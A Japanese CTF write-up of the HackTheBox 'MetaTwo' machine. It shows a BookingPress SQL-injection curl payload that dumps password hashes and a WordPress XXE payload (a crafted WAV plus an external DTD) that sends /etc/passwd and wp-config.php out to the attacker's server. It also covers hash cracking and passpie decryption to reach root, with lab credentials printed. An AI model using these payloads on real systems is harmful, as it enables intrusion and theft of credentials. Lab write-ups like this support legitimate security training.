🍏

【HackTheBox】MetaTwo Writeup

2023/05/05に公開

Enumeration

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -top-ports 75 -Pn -open 10.10.11.186
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 03:22 EDT
Nmap scan report for metapress.htb (10.10.11.186)
Host is up (0.23s latency).
Not shown: 69 closed tcp ports (conn-refused), 3 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: MetaPress – Official company site
|_http-generator: WordPress 5.6.2
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/

ftpとsshとwordpress 5.6.2で作られたウェブサイトがありました。ドメイン名のmetapress.htb/etc/hostsに入れます。

Website探索、WPScan

サイトを探索してみます。wordpressなので、ページソースを見てthemeとpluginの情報を重点的に探していきます。

  • themeはtwentytwentyone v1.1を使っている
  • /eventsのイベント予約機能はbookingpress v1.0.10を使っている
    bookingpress v1.0.10 exploitで検索するとSQLiができるという情報が出てきました。パスワードのハッシュも含めたユーザー情報が見れるらしいです。(metasploitのモジュールもありますが、ここでは使いません。)

WPScanも実行しました。
detection modeをaggressiveにしなかったのでpluginが見つからなかったです。

wpscan --url http://metapress.htb --enumerate --api-token xxxxx

wordpress 5.6.2は攻撃できそうな脆弱性が複数ありますが、ほとんどauthenticated user向けでした。なので、bookingpressのSQLiでcredentails取得して→crack password hash→ログイン→scanで出てきた脆弱性を攻撃してみるという流れでやってみようと思います。

Foothold

Bookingpress SQLi

WPScanのサイトにPoCがあったので、手順に沿って再現したいと思います。https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
ページソースからnonceを見つけて、このcurlを実行すればいいみたいです。

curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=cb15397f1a&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' 
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1",
"bookingpress_category_id":"Debian 11",
"bookingpress_service_name":"debian-linux-gnu",
"bookingpress_service_price":"$1.00",
"bookingpress_service_duration_val":"2",
"bookingpress_service_duration_unit":"3",
"bookingpress_service_description":"4",
"bookingpress_service_position":"5",
"bookingpress_servicedate_created":"6",
"service_price_without_currency":1,
"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]

SQLiの再現ができました。ではクエリを書き換えてユーザーの情報を取り出します。
sqlmapも使ってみましたが、なぜかうまくいかなかったので手動でやります。

まずはテーブルの一覧を出してみます。jqでフォーマットを整います。

┌──(kali㉿kali)-[~]
└─$ curl 'http://metapress.htb/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=cb15397f1a&category_id=33&total_service=-7502) UNION ALL SELECT 1,TABLE_NAME,TABLE_SCHEMA,1,2,3,4,5,6 from INFORMATION_SCHEMA.TABLES-- -' | jq '.[]' | jq '.bookingpress_category_id' 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 55831    0 55638  100   193  78280    271 --:--:-- --:--:-- --:--:-- 78524
"ALL_PLUGINS"
"APPLICABLE_ROLES"
"CHARACTER_SETS"
...(一部省略)...
"wp_commentmeta"
"wp_users"
"wp_bookingpress_customers_meta"
"wp_bookingpress_settings"
"wp_bookingpress_appointment_bookings"

次はwp_usersテーブルのカラム一覧を出します。

┌──(kali㉿kali)-[~]
└─$ curl 'http://metapress.htb/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=cb15397f1a&category_id=33&total_service=-7502) UNION ALL SELECT COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA,1,2,3,4,5,6 from INFORMATION_SCHEMA.COLUMNS-- -' | jq '.[] | select(.bookingpress_category_id == "wp_users")' | jq '.bookingpress_service_id'  
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  535k    0  535k  100   204   361k    137  0:00:01  0:00:01 --:--:--  362k
"ID"
"user_login"
"user_pass"
"user_nicename"
"user_email"
"user_url"
"user_registered"
"user_activation_key"
"user_status"
"display_name"

カラム名もわかったので、credentialsを出します。

┌──(kali㉿kali)-[~]
└─$ curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data "action=bookingpress_front_get_category_services&_wpnonce=cb15397f1a&category_id=33&total_service=-7502) UNION ALL SELECT user_login,user_login,user_pass,1,2,3,4,5,6 from wp_users -- -" | jq 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1233    0  1050  100   183   2981    519 --:--:-- --:--:-- --:--:--  3502
[
  {
    "bookingpress_service_id": "admin",
    "bookingpress_category_id": "admin",
    "bookingpress_service_name": "$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.",
    "bookingpress_service_price": "$1.00",
    "bookingpress_service_duration_val": "2",
    "bookingpress_service_duration_unit": "3",
    "bookingpress_service_description": "4",
    "bookingpress_service_position": "5",
    "bookingpress_servicedate_created": "6",
    "service_price_without_currency": 1,
    "img_url": "http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/images/placeholder-img.jpg"                                                                      
  },
  {
    "bookingpress_service_id": "manager",
    "bookingpress_category_id": "manager",
    "bookingpress_service_name": "$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70",
    "bookingpress_service_price": "$1.00",
    "bookingpress_service_duration_val": "2",
    "bookingpress_service_duration_unit": "3",
    "bookingpress_service_description": "4",
    "bookingpress_service_position": "5",
    "bookingpress_servicedate_created": "6",
    "service_price_without_currency": 1,
    "img_url": "http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/images/placeholder-img.jpg"                                                                      
  }
]

Crack Password Hash

┌──(kali㉿kali)-[~]
└─$ echo '$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70' > hash                    

┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash

adminのハッシュはクラックできなかったが、managerの方はできました。パスワードはpartylikearockstarでした。
これでwordpressにログインします。このcredentailsでsshにログインも試しましたが、できませんでした。

Media Library XXE

WPScanで出てきたWordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8について調べたら、XXEでサーバー上のファイルをreadできるみたいです。PoCはこちらです(https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5)
これでsensitive informationを探したいと思います。まずは/etc/passwdwp-configが見たいです。

malicious.wavxxe.dtdを作成します。そしてサーバーを立ち上げてwavファイルをMedia Libraryにアップロードします。アップロードできた時に、エンコードされたファイルの内容がレスポンスに返ってきます。

┌──(kali㉿kali)-[~]
└─$ cat malicious.wav 
RIFF�WAVEiXML{<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://10.10.14.9:8080/xxe.dtd'>%remote;%init;%trick;] >                                                                                                 
┌──(kali㉿kali)-[~]
└─$ cat xxe.dtd     
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.9:8080/?p=%file;'>" >

┌──(kali㉿kali)-[~]
└─$ sudo python3 -m http.server 8080
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.186 - - [02/May/2023 04:17:12] "GET /evil.dtd HTTP/1.1" 200 -
10.10.11.186 - - [02/May/2023 04:17:12] "GET /?p=PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1....

decodeすると/etc/passwdの内容が確認できました。

┌──(kali㉿kali)-[~]
└─$ echo -en cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNy...(一部省略)...c3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

ではwp-configも見てみます。xxe.dtdの中身をこんなふうに書き換えます。

┌──(kali㉿kali)-[~]
└─$ cat evil.dtd     
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.9:8080/?p=%file;'>" >
wp-config
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

FTPのcredentialsが出てきたので、ログインしてみます。

FTPログイン

無事ログインできました。lsしてみるとblogとmailer二つのディレクトリーがありました。blogはサイトに使うphpファイルがありました。mailerはよくわからないので、中身を確認したいと思います。

┌──(kali㉿kali)-[~]
└─$ ftp metapress.htb@metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
331 Password required for metapress.htb
Password: 
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||63882|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5  2022 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5  2022 mailer
226 Transfer complete
ftp> ls mailer
229 Entering Extended Passive Mode (|||6895|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5  2022 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22  2022 send_email.php
226 Transfer complete
ftp> 

send_email.phpgetして中身を見てみると、またcredentialsが出てきました。このjnelsonというユーザーは/etc/passwdにもいました。この情報でsshのログインを試したいと思います。

send_email.php
<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
.....

sshにログインできました!userフラグゲットできました。

Privilege Escalation

sudo -lを実行しようとしたら、jnelsonはsudo使えませんというメッセージが出てきました。enumerationして権限昇格のヒントを見つけたいと思います。

jnelsonのディレクトリーをlsすると、.passpieというフォルダーがありました。調べたらパスワードの管理ツールらしいです。passpieを実行するとjnelsonとrootの情報がありましたので、さらに探索してrootのパスワードを見つけたいと思います。

jnelson@meta2:~$ cd .passpie
jnelson@meta2:~/.passpie/ssh$ passpie
╒════════╤═════════╤════════════╤═══════════╕
│ Name   │ Login   │ Password   │ Comment   │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh    │ jnelson │ ********   │           │
├────────┼─────────┼────────────┼───────────┤
│ ssh    │ root    │ ********   │           │
╘════════╧═════════╧════════════╧═══════════╛
jnelson@meta2:~/.passpie$ ls -la
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25  2022 .
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25  2022 ..
-r-xr-x--- 1 jnelson jnelson    3 Jun 26  2022 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26  2022 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25  2022 ssh
jnelson@meta2:~/.passpie$ cd ssh
jnelson@meta2:~/.passpie/ssh$ ls -la
total 16
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25  2022 .
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25  2022 ..
-r-xr-x--- 1 jnelson jnelson  683 Oct 25  2022 jnelson.pass
-r-xr-x--- 1 jnelson jnelson  673 Oct 25  2022 root.pass

.passpie/ssh/root.passにはPGP messageがありました。.passpie/.keysにあったPGP private keyからパスフレーズをクラックしてみます。gpg2johnで一回フォーマットを変えないといけないみたいです。

┌──(kali㉿kali)-[~]
└─$ gpg2john privatekey > privatekeyjohn
                                                                            
┌──(kali㉿kali)-[~]
└─$ cat privatekeyjohn 
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::privatekey
                                                                             
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt privatekeyjohn

パスフレーズはblink182でした。ではこれでroot.passを復号します。passpieのドキュメントにexportコマンドでclear text credentialsをエクスポートできると書いてましたので、使ってみます。

┌──(kali㉿kali)-[~]
└─$ passpie export ./exported
Passphrase:

┌──(kali㉿kali)-[~]
└─$ cat exported
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

rootパスワードはp7qfAZt4_A1xo_0xでした。su rootしてフラグをゲットできました。

Discussion